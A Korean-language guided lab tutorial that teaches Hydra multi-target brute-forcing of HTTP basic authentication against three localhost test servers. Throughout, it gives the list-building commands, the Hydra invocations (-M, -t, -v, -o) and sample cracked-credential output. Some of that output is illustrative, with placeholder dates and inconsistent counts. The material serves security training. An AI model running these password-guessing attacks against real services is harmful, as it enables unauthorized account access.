Hydra 를 이용한 다중 대상 공격

HydraBeginner
지금 연습하기

소개

이 실습에서는 Hydra 를 사용하여 동시에 여러 대상을 공격하는 방법을 배웁니다. 이 실습은 Hydra 의 기능을 활용하여 대상 호스트 목록에 대한 비밀번호 해킹 시도를 수행하는 데 중점을 둡니다.

이 실습에서는 대상 호스트의 IP 주소 또는 호스트 이름이 포함된 대상 목록 파일을 생성하고, -M 옵션을 사용하여 Hydra 에 이 파일을 로드하고, 대상에 대한 병렬 HTTP 공격을 실행하며, 마지막으로 여러 호스트에서 성공적인 로그인을 식별하기 위해 출력을 확인하는 과정을 안내합니다. 이 실습을 통해 Hydra 를 사용하여 침투 테스트 및 보안 감사 시나리오를 수행하는 실질적인 기술을 습득할 수 있습니다.

이것은 가이드 실험입니다. 학습과 실습을 돕기 위한 단계별 지침을 제공합니다.각 단계를 완료하고 실무 경험을 쌓기 위해 지침을 주의 깊게 따르세요. 과거 데이터에 따르면, 이것은 초급 레벨의 실험이며 완료율은 86%입니다.학습자들로부터 100%의 긍정적인 리뷰율을 받았습니다.

대상 목록 파일 생성

이 단계에서는 대상 목록 파일을 생성합니다. 이 파일에는 Hydra 가 연결하고 비밀번호를 해킹하려는 대상 URL 목록이 포함됩니다. 이는 모든 침투 테스트 또는 보안 감사 시나리오에서 중요한 단계입니다.

HTTP 공격을 위한 대상 목록 파일은 IP 주소만이 아니라 URL 을 포함합니다. 각 줄은 HTTP 기본 인증이 적용된 대상 웹 서비스를 나타냅니다. 이 실습 환경에서는 서로 다른 포트에서 기본 인증이 적용된 여러 개의 Apache 웹 서버를 설정했습니다.

이 실습의 모든 작업은 ~/project 디렉토리에서 수행됩니다.

  1. 먼저 테스트 웹 서버가 실행 중인지 확인해 보겠습니다.

    curl -I http://127.0.0.1:8081/ 2> /dev/null | head -1
    curl -I http://127.0.0.1:8082/ 2> /dev/null | head -1
    curl -I http://127.0.0.1:8083/ 2> /dev/null | head -1
    HTTP/1.1 401 Unauthorized
    HTTP/1.1 401 Unauthorized
    HTTP/1.1 401 Unauthorized

    서버가 실행 중인지 나타내는 HTTP 응답 헤더를 볼 수 있어야 합니다.

  2. 테스트 웹 서버를 사용하여 대상 파일을 생성합니다.

    cd ~/project
    echo "127.0.0.1:8081" > targets.txt
    echo "127.0.0.1:8082" >> targets.txt
    echo "127.0.0.1:8083" >> targets.txt

    이렇게 하면 로컬호스트의 서로 다른 포트에서 실행 중인 세 개의 HTTP 서비스가 포함된 대상 목록이 생성됩니다.

    • 포트 8081: 사용자 admin 및 비밀번호 password123으로 보호됨
    • 포트 8082: 사용자 user 및 비밀번호 secret으로 보호됨
    • 포트 8083: 사용자 testuser 및 비밀번호 password으로 보호됨
  3. 파일이 생성되었고 대상이 포함되어 있는지 확인합니다.

    cat ~/project/targets.txt

    다음과 같은 출력이 표시되어야 합니다.

    127.0.0.1:8081
    127.0.0.1:8082
    127.0.0.1:8083
  4. 인증이 필요한지 확인하기 위해 보호된 리소스 중 하나를 테스트합니다.

    curl http://127.0.0.1:8081/

    HTTP 401 Unauthorized 응답이 표시되어 기본 인증이 필요함을 확인합니다.

이제 인증이 필요한 HTTP 서비스가 포함된 targets.txt라는 대상 목록 파일을 ~/project 디렉토리에 성공적으로 생성했습니다. 이 파일은 다음 단계에서 Hydra 에 대상을 로드하는 데 사용됩니다.

-M 옵션으로 대상 로드

이 단계에서는 이전 단계에서 생성한 대상 목록 파일을 -M 옵션을 사용하여 Hydra 에 로드하는 방법을 배웁니다. -M 옵션은 Hydra 에게 대상 호스트 목록을 파일에서 읽도록 지시합니다. 특히 테스트할 대상이 많을 때 유용합니다.

HTTP 공격의 기본 구문은 다음과 같습니다.

hydra -M <target_file> http-get <path>

여기서:

  • <target_file>은 대상 호스트 목록이 포함된 파일의 경로입니다.
  • http-get은 GET 요청을 사용하여 HTTP 기본 인증을 공격한다는 것을 나타냅니다.
  • <path>는 웹 서버에서 공격할 경로입니다 (예: 루트 경로인 /).

targets.txt 파일에서 대상을 로드하고 HTTP 기본 인증을 공격하는 Hydra 명령을 구성해 보겠습니다.

  1. 공격을 위해 사용자 이름 및 비밀번호 목록을 생성합니다.

    cd ~/project
    echo "admin" > users.txt
    echo "user" >> users.txt
    echo "testuser" >> users.txt
    echo "root" >> users.txt

    이렇게 하면 구성한 실제 사용자 이름과 일반적인 사용자 이름 root가 포함된 사용자 이름 목록이 생성됩니다.

  2. 비밀번호 목록을 생성합니다.

    echo "password123" > passwords.txt
    echo "secret" >> passwords.txt
    echo "password" >> passwords.txt
    echo "admin" >> passwords.txt
    echo "123456" >> passwords.txt

    이렇게 하면 구성한 실제 비밀번호와 일부 일반적인 약한 비밀번호가 포함된 비밀번호 목록이 생성됩니다.

  3. 이제 targets.txt 파일에서 대상을 로드하고 HTTP 기본 인증을 해킹하려는 Hydra 명령을 실행합니다.

    hydra -L ~/project/users.txt -P ~/project/passwords.txt -M ~/project/targets.txt http-get /

    예상 결과: Hydra 가 세 개의 HTTP 서비스에 연결하고 각 서비스의 비밀번호를 성공적으로 해킹하는 시도를 보여야 합니다.

    Hydra v9.x (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes.
    
    Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-XX-XX XX:XX:XX
    [DATA] max 16 tasks per 1 server, overall 64 tasks, 60 login tries (l:4/p:5), ~1 try per task
    [DATA] attacking http-get://127.0.0.1:8081:80/
    [DATA] attacking http-get://127.0.0.1:8082:80/
    [DATA] attacking http-get://127.0.0.1:8083:80/
    [8081][http-get] host: 127.0.0.1   login: admin   password: password123
    [8082][http-get] host: 127.0.0.1   login: user   password: secret
    [8083][http-get] host: 127.0.0.1   login: testuser   password: password
    1 of 3 targets completed, 3 valid passwords found
    Hydra finished.

    이것은 Hydra 가 세 개의 HTTP 서비스 모두에 대한 유효한 자격 증명을 성공적으로 찾았음을 보여줍니다.

  4. 필요한 경우 더 구체적인 경로로 테스트할 수도 있습니다.

    hydra -L ~/project/users.txt -P ~/project/passwords.txt -M ~/project/targets.txt http-get /index.html

이 단계에서 HTTP 공격에 대한 Hydra 의 -M 옵션을 사용하여 파일에서 대상을 로드하는 방법을 성공적으로 배웠습니다. 이는 기본 인증이 있는 웹 서비스에 대한 대규모 비밀번호 해킹 공격을 수행하는 데 필수적인 기술입니다.

병렬 HTTP 공격 실행

이 단계에서는 Hydra 를 사용하여 병렬 HTTP 공격을 실행하는 방법을 배웁니다. 병렬 공격을 실행하면, 특히 여러 대상을 다룰 때 해킹 프로세스 속도가 크게 빨라집니다. Hydra 는 -t 옵션을 사용하여 실행할 병렬 작업 수를 지정할 수 있습니다.

-t 옵션은 Hydra 가 수행할 병렬 연결 수를 제어합니다. HTTP 공격의 경우, 웹 서버는 일반적으로 SSH 서비스보다 여러 동시 연결을 더 잘 처리할 수 있기 때문에 특히 효과적입니다.

이전 Hydra 명령을 수정하여 지정된 스레드 수로 HTTP 공격을 실행해 보겠습니다.

  1. 8 개의 스레드로 HTTP 공격을 실행하는 다음 Hydra 명령을 실행합니다.

    cd ~/project
    hydra -L users.txt -P passwords.txt -t 8 -M targets.txt http-get /

    이 명령에서 -t 8 옵션은 Hydra 가 8 개의 병렬 스레드를 사용하도록 지시합니다. 즉, Hydra 는 여러 대상에 동시에 연결하고 다른 사용자 이름/비밀번호 조합을 병렬로 시도합니다.

    예상 출력:

    Hydra v9.x (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes.
    
    Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-XX-XX XX:XX:XX
    [DATA] max 8 tasks per 1 server, overall 24 tasks, 60 login tries (l:4/p:5), ~3 try per task
    [DATA] attacking http-get://127.0.0.1:8081:80/
    [DATA] attacking http-get://127.0.0.1:8082:80/
    [DATA] attacking http-get://127.0.0.1:8083:80/
    [8081][http-get] host: 127.0.0.1   login: admin   password: password123
    [8082][http-get] host: 127.0.0.1   login: user   password: secret
    [8083][http-get] host: 127.0.0.1   login: testuser   password: password
    1 of 3 targets completed, 3 valid passwords found
    Hydra finished.
  2. -t 옵션의 값을 변경하여 실험해 보세요. 스레드 수를 늘려 속도에 미치는 영향을 확인해 보세요.

    hydra -L users.txt -P passwords.txt -t 16 -M targets.txt http-get /

    스레드 수가 많아지면 공격이 더 빨리 완료될 수 있지만, 정확한 시간은 시스템 기능에 따라 달라집니다.

  3. 공격 과정에 대한 자세한 정보를 보려면 자세한 출력을 추가할 수 있습니다.

    hydra -L users.txt -P passwords.txt -t 8 -v -M targets.txt http-get /

    -v 플래그는 각 로그인 시도를 보여주는 자세한 출력을 제공하며, Hydra 가 정확히 무엇을 테스트하는지 이해하는 데 유용합니다.

  4. 더 자세한 출력을 위해 -V (매우 자세한) 옵션을 사용할 수 있습니다.

    hydra -L users.txt -P passwords.txt -t 8 -V -M targets.txt http-get /

HTTP 공격에 대한 중요 고려 사항:

  • 웹 서버 제한: 대부분의 웹 서버는 많은 동시 연결을 처리할 수 있으므로 HTTP 공격은 일반적으로 다른 프로토콜보다 빠릅니다.
  • 속도 제한: 일부 웹 애플리케이션은 빠른 인증 시도를 차단하는 속도 제한을 구현합니다.
  • 로그 기록: HTTP 인증 시도는 일반적으로 웹 서버에 의해 기록되므로 감지가 더 쉬워집니다.
  • SSL/HTTPS: HTTPS 대상의 경우 SSL 이 활성화된 대상에 http-get을 사용하거나 명시적인 HTTPS 에 대해 https-get을 사용합니다.

이 단계에서 -t 옵션을 사용하여 Hydra 를 통해 병렬 HTTP 공격을 실행하는 방법을 성공적으로 배웠습니다. 이 기술은 기본 인증이 있는 웹 애플리케이션에 특히 효과적입니다.

여러 호스트에 대한 출력 확인

이 단계에서는 여러 HTTP 대상을 공격할 때 Hydra 의 출력을 해석하는 방법을 배웁니다. Hydra 의 출력은 서로 다른 웹 서비스에서 공격 시도의 성공 또는 실패에 대한 귀중한 정보를 제공합니다.

Hydra 가 HTTP 기본 인증 비밀번호를 성공적으로 해킹하면 다음 형식으로 자격 증명을 표시합니다.

[<포트>][http-get] host: <호스트>   login: <사용자 이름>   password: <비밀번호>

예를 들어:

[8081][http-get] host: 127.0.0.1   login: admin   password: password123

이는 Hydra 가 호스트 127.0.0.1의 포트 8081에서 사용자 admin의 HTTP 기본 인증을 비밀번호 password123으로 성공적으로 해킹했음을 나타냅니다.

HTTP 공격의 출력을 분석하고 서로 다른 결과가 의미하는 바를 이해해 보겠습니다.

  1. 전체 출력을 보려면 완전한 Hydra 공격 명령을 다시 실행합니다.

    cd ~/project
    hydra -L users.txt -P passwords.txt -t 8 -M targets.txt http-get /
  2. 자세한 출력을 검토합니다. 세 가지 대상 모두에 대한 결과가 표시되어야 합니다.

    예상되는 포괄적인 출력:

    Hydra v9.x (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes.
    
    Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-XX-XX XX:XX:XX
    [DATA] max 8 tasks per 1 server, overall 24 tasks, 60 login tries (l:4/p:5), ~3 try per task
    [DATA] attacking http-get://127.0.0.1:8081:80/
    [DATA] attacking http-get://127.0.0.1:8082:80/
    [DATA] attacking http-get://127.0.0.1:8083:80/
    [8081][http-get] host: 127.0.0.1   login: admin   password: password123
    [8082][http-get] host: 127.0.0.1   login: user   password: secret
    [8083][http-get] host: 127.0.0.1   login: testuser   password: password
    1 of 3 targets completed, 3 valid passwords found
    Hydra finished.
  3. 실패한 시도가 어떻게 보이는지 확인하기 위해 잘못된 자격 증명이 있는 시나리오를 만들어 보겠습니다. 대부분 잘못된 비밀번호가 포함된 새 비밀번호 파일을 만듭니다.

    echo "wrongpass" > wrong_passwords.txt
    echo "badpass" >> wrong_passwords.txt
    echo "password123" >> wrong_passwords.txt ## 유효한 비밀번호 하나만 포함
  4. 자세한 출력을 사용하여 Hydra 를 실행하여 성공 및 실패 시도를 모두 확인합니다.

    hydra -L users.txt -P wrong_passwords.txt -t 4 -v -M targets.txt http-get /

    자세한 출력에서 성공한 시도를 볼 수 있습니다.

    (생략)
    [8081][http-get] host: 127.0.0.1   login: admin   password: password123
    (생략)
  5. 나중에 분석을 위해 결과를 파일에 저장합니다.

    hydra -L users.txt -P passwords.txt -t 8 -M targets.txt http-get / -o hydra_results.txt

    결과 파일을 확인합니다.

    cat hydra_results.txt

HTTP 공격 결과 해석 방법:

  • 성공적인 공격: [port][http-get]로 시작하는 줄은 성공적인 자격 증명 발견을 보여줍니다.
  • 대상 정보: 각 성공적인 결과는 정확한 호스트, 포트, 사용자 이름 및 비밀번호를 보여줍니다.
  • 요약 통계: 마지막 줄은 공격된 대상 수와 발견된 유효한 비밀번호 수를 보여줍니다.
  • 실패한 시도: 자세한 모드에서 각 실패한 로그인 시도를 볼 수 있습니다.
  • 출력 파일: -o를 사용하면 분석이 쉬운 성공적인 결과만 파일로 저장합니다.

다른 프로토콜과의 주요 차이점:

  • HTTP 공격은 결과에서 포트 번호를 명확하게 표시합니다.
  • 응답 시간은 일반적으로 SSH 공격보다 빠릅니다.
  • 동일한 서버에서 여러 인증 영역은 다른 대상으로 나타납니다.
  • HTTP 상태 코드 (예: 401, 403) 는 실패에 대한 추가적인 맥락을 제공합니다.

이 단계에서는 여러 HTTP 대상을 공격할 때 Hydra 의 출력을 해석하고 성공한 시도와 실패한 시도의 차이를 이해하며 분석을 위해 결과를 저장하는 방법을 배웠습니다. 이 지식은 효과적인 웹 애플리케이션 보안 테스트에 필수적입니다.

요약

이 실습에서는 Hydra 를 사용하여 기본 인증이 설정된 HTTP 서비스에 대한 다중 대상 공격을 수행하는 방법을 배웠습니다. 여러 포트에서 실행되는 여러 웹 서버를 포함하는 대상 목록 파일을 만들었으며, 각 서버는 서로 다른 사용자 이름과 비밀번호 조합을 사용하여 기본 인증으로 보호되었습니다.

-M 옵션을 사용하여 파일에서 여러 대상을 로드하여 여러 웹 서비스를 동시에 효율적으로 공격하는 방법을 발견했습니다. 이 실습에서는 -t 옵션을 사용하여 더 빠른 HTTP 공격을 위한 병렬 스레드를 제어하는 방법을 보여주었으며, 여러 대상에 걸쳐 성공적인 인증 시도를 식별하기 위해 Hydra 의 출력을 해석하는 방법을 배웠습니다.

이 접근 방식은 여러 서비스, 가상 호스트 또는 웹 서버의 다른 경로에 걸쳐 기본 인증을 테스트해야 하는 웹 애플리케이션 보안 테스트에 특히 유용합니다. 배운 기술은 컨테이너화된 환경에서 웹 애플리케이션의 포괄적인 보안 평가를 수행하는 기반을 제공합니다.